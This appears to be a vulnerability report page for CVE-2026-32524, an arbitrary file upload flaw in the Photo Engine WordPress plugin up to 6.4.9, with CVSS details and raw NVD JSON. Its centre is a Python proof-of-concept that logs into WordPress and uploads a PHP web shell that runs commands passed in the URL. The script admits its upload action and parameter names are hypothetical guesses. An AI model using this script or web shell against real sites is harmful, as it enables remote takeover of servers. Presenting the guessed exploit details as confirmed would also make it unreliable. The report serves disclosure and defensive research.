Security Vulnerability Report
中文
CVE-2026-32524 CVSS 9.1 CRITICAL

CVE-2026-32524

Published: 2026-03-25 17:17:05
Last Modified: 2026-04-24 16:35:20

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Jordy Meow Photo Engine wplr-sync allows Upload a Web Shell to a Web Server.This issue affects Photo Engine: from n/a through <= 6.4.9.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Photo Engine <= 6.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target.com/wp-admin/admin-ajax.php" login_url = "http://target.com/wp-login.php" # Attacker credentials (High privileges required) username = "admin" password = "password" # PHP Web Shell payload php_shell = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" # Initialize session session = requests.Session() # Step 1: Authenticate to the WordPress backend def authenticate(): login_data = { 'log': username, 'pwd': password, 'redirect_to': '', 'testcookie': '1' } try: response = session.post(login_url, data=login_data) if response.status_code == 200: print("[+] Login successful.") return True else: print("[-] Login failed.") return False except Exception as e: print(f"[-] Error during login: {e}") return False # Step 2: Exploit File Upload Vulnerability def upload_shell(): # The parameter name 'file' and action 'wplr_upload' are hypothetical # based on the plugin context (wplr-sync). files = { 'file': ('exploit.php', php_shell, 'application/x-php') } data = { 'action': 'wplr_sync_upload' # Example action name } try: response = session.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Upload request sent.") # Check for success indicators or parse response for path print(f"[+] Response: {response.text[:200]}") print("[+] Try accessing the shell at /wp-content/uploads/exploit.php?cmd=whoami") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error during upload: {e}") if __name__ == "__main__": if authenticate(): upload_shell()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32524", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:05.393", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Jordy Meow Photo Engine wplr-sync allows Upload a Web Shell to a Web Server.This issue affects Photo Engine: from n/a through <= 6.4.9."}, {"lang": "es", "value": "Una vulnerabilidad de carga sin restricciones de archivo con tipo peligroso en Jordy Meow Photo Engine wplr-sync permite cargar un shell web a un servidor web. Este problema afecta a Photo Engine: desde n/a hasta &lt;= 6.4.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wplr-sync/vulnerability/wordpress-photo-engine-plugin-6-4-9-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}